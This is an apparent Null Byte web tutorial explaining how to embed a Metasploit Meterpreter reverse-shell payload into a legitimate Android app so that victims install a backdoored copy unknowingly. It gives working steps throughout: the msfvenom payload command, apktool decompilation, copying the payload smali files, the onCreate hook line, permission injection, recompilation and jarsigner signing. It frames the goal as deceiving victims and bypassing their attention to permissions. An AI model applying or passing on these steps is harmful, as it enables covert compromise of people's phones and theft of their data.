How To Embed a Metasploit Payload in an Original .

Apk
File | Part 2 – Do It Manually
null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/

By SkullTech

UPDATE: This post is outdated, the latest version with the correct links and updated
instructions can be found at my blog, here - https://techkernel.org/2015/12/19/embed-
metasploit-payload-in-apk-manually/

Hi guys, I'm here again with my second tutorial, as I promised.

Metasploit's flagship product, the Meterpreter, is very powerful and an all-purpose payload.
Once installed on the victim machine, we can do whatever we want to their system by
sending out commands to it. For example, we could grab sensitive data out of the
compromised system.

The Meterpreter payload also comes as an installable .apk file for Android systems. Great!
Now we can use Metasploit to compromise Android phones also. But if you have tried out
these payloads you would know that they do not look convincing. No one in their right mind
is going to install and run such an app, which apparently does nothing when it is opened.
So how are we going to make the victim run the payload app in their phone?

One of the solutions is that you can embed the payload inside another legitimate app. The
app will look and behave exactly as the original one, so the victim won't even know that his
system is compromised. That's what we are going to do in this tutorial.

NOTE – This is a follow-up post of my previous post, in which I showed you how to do this
using a very simple yet effective Ruby script. If you haven't read it, check it out. If you are
not willing to go down the hard path, you can use that method to do it just fine. But if you
want to know the inner workings and have a greater knowledge, continue reading this post.
And also, In the following Android Hacking tutorials, I may refer to this tutorial, so If you can
take it, I suggest you to keep on reading.
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PRE-REQUISTICS:
This tutorial is based on the Kali Linux Operating System. I'm sure it can be done in other
OS, especially Linux Distros, but that will involve some more complications so I'm not going
to cover those. If you are serious about Hacking or Penetration Testing, if you prefer, you
should use Kali as it was built specifically for Pen-Testing.

We will also need some libraries and tools in the following steps, so I think it's better if you
install them right now.

To install the required libraries, enter this command at the console:

apt-get install lib32stdc++6 lib32ncurses5 lib32z1_

And to get the latest version of ApkTool, head over to this site and follow the installation
instructions.

Also download the apk which you want to be backdoor-ed from any source you like. Just do
a google search "app_name apk download" and Google will come up with a lot of results.
Save that apk in the root folder.

BRIEF OVERVIEW:
Since this tutorial is a little bit long, I'm giving a brief overview of what we are going to do
here.

1.Generate the Meterpreter payload

2.Decompile the payload and the original apk
3.Copy the payload files to the original apk
4.Inject the hook into the appropriate activity of the original apk
5.Inject the permissions in the AndroidManifest.xml file
6.Re-compile the original apk
7.Sign the apk using Jarsigner

That's about it. I will also show you how can you get a working Meterpreter session using
that backdoored apk, if you don't know that already. So let's get started.

Step 1GENERATE the PAYLOAD:

First of all, we have to make the Meterpreter payload. We are going to use MSFVenom for
this. The command is-

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address

LPORT=Incoming_Port -o meterpreter.apk

Replace Payload_Type by any of the following payloads available. The function of all these
payloads are same, essentially they are all Meterpreter payloads, the difference is only in
the method they use to connect to your Kali system. The available Payload_Types are –

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1.reversetcp
2.reverse_http
3.reverse_https

You can use any one you like, I'm going to use reverse_https as an example.

Replace IP_Address by the IP address to which the payload is going to connect back to, i.e
the IP address of the attacker's system. If you are going to perform this attack over a local
network (eg. if the victim and attacker are connected to the same WiFi hotspot), your Local
IP will suffice. To know what your local IP is, run the command –

ifconfig

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If you are going to perform this attack over the Internet, you have to use your public IP
address, and configure your router properly (set up port forwarding) so that your system is
accessible from the Internet. To know your public IP, just google "My IP" and Google will
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help you out.

Replace Incoming_Port with the port no. which you want to be used by the payload to
connect to your system. This can be any valid port except the reserved ones like port 80
(HTTP). I'm going to use 4895 as an example.

So run the command using replacing the keywords with appropriate values and MSFVenom
will generate a payload "meterpreter.apk" in the root directory. Note that we specified the
output file name using the "-o meterpreter.apk" argument in the command, so if you like,
you can name it anything else also.

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Step 2DECOMPILE the APKs:

Now we have to decompile the APKs, for this we are going to use APKTool. It decompiles
the code to a fairly human-readable format and saves it in .smali files, and also
successfully extracts the .xml files. Assuming you have already installed the latest apktool
and also have the original apk file in the root directory, run the following commands –

apktool d -f -o payload /root/meterpreter.apk

apktool d -f -o original /root/Original_APK_Name

It will decompile the payload to "/root/payload" and the original apk to "/root/original"
directory.

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Step 3COPY the PAYLOAD FILES:

Now we have to copy the payload files to the original app's folder. Just go to
"/root/payload/smali/com/metasploit/stage" and copy all the .smali files whose file name
contains the word 'payload'. Now paste them in "/root/original/smali/com/metasploit/stage".
Note that this folder does not exists, so you have to create it.

Step 4INJECT the HOOK in the ORIGINAL .SMALI CODE:

In the previous step, we just copied the payload codes inside the original apk, so that when
the original apk is recompiled, it will contain the payload. But that doesn't necessarily mean
that the payload will run. To ensure that the payload runs, we have to inject a hook in the
original apk's .smali code. If you are wondering what is this hook thingy I'm talking about,
well essentially it's a code which intercepts some specific function call and reacts to it. In
this case, we are going to place the hook so that when the app is launched, it will also
launch the payload with it.

For this, firstly we have to find out which activity to put it simply, activities are sections of
code, it's similar to frames in windows programming is run when the app is launched. We
can get this info from the AndroidManifest.xml file.

So open up the AndroidManifest.xml file located inside the "/root/original" folder using any
text editor. If you know HTML, then this file will look familiar to you. Both of them are
essentially Markup Languages, and both use the familiar tags and attributes structure e.g.
<tag attribute="value"> Content </tag>. Anyway, look for an <activity> tag which contains
both the lines –

_<action android:name="android.intent.action.MAIN"/>
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<category android:name="android.intent.category.LAUNCHER"/>_

On a side note, you can use CTRL+F to search within the document in any GUI text editor.
When you locate that activity, note its "android:name" attribute's value. In my case, as you
can see from the screenshot below, it is "com.piriform.ccleaner.ui.activity.MainActivity".

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Those two lines we searched for signifies that this is the activity which is going to start
when we launch the app from the launcher icon, and also this is a MAIN activity similar to
the 'main' function in traditional programming.

Now that we have the name of the activity we want to inject the hook into, let's get to it!
First of all, open the .smali code of that activity using gedit. Just open a terminal and type –

gedit /root/original/smali/Activity_Path

Replace the Activity_Path with the activity's "android:name", but instead of the dots, type
slash. Actually the smali codes are stored in folders named in the format the
"android:name" is in, so we can easily get the location of the .smali code in the way we did.
Check the screenshot below and you will get an idea of what I'm trying to say.

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Now search for the following line in the smali code using CTRL+F –

;->onCreate(Landroid/os/Bundle;)V

When you locate it, paste the following code in the line next to it –

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

What we are doing here is, inserting a code which starts the payload alongside the existing
code which is executed when the activity starts. Now, save the edited smali file.

Step 5INJECT the NECESSARY PERMISSIONS:

From developer.android.com –

Additional finer-grained security features are provided through a "permission" mechanism

that enforces restrictions on the specific operations that a particular process can perform.

If we do not mention all the additional permissions that our payload is going to need, it

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cannot function properly. While installing an app, these permissions are shown to the user.
But most of the users don't care to read all those boring texts, so we do not have to worry
about that much.

These permissions are also listed in the previously encountered AndroidManifest file. So
let's open the AndroidManifest.xml of both the original app and the payload from the
respective folders. The permissions are mentioned inside <uses-permission> tag as an
attribute 'android:name'. Copy the additional permission lines from the Payload's
AndroidManifest to the original app's one. But be careful that there should not be any
duplicate.

Here's my original app's AndroidManifest before editing –

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After adding the additional ones from the Payload's AndroidManifest, my

/root/original/AndroidManifest.xml looks like this –

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Step 6RECOMPILE the ORIGINAL APK:

Now th hard parts are all done! We just have to recompile the backdoored app into an
installable apk. Run the following command –

apktool b /root/original

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You will now have the compiled apk inside the "/root/original/dist" directory. But, we're still
not done yet.

Step 7SIGN the APK:

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This is also a very important step, as in most of the cases, an unsigned apk cannot be
installed. From developer.android.com –

Android requires that all apps be digitally signed with a certificate before they can be
installed. Android uses this certificate to identify the author of an app, and the certificate
does not need to be signed by a certificate authority. Android apps often use self-signed
certificates. The app developer holds the certificate's private key.

In this case we are going to sign the apk using the default android debug key. Just run the
following command –

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass

android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey

Be sure to replace the apk_path in the above command with the path to your backdoored
apk file.

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PROFIT?!:
Now if you can get the victim to install and run this very legit-looking app in his phone, you
can get a working meterpreter session on his phone!

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If you face any difficulty, please let me know in the comments. Thanks for reading!

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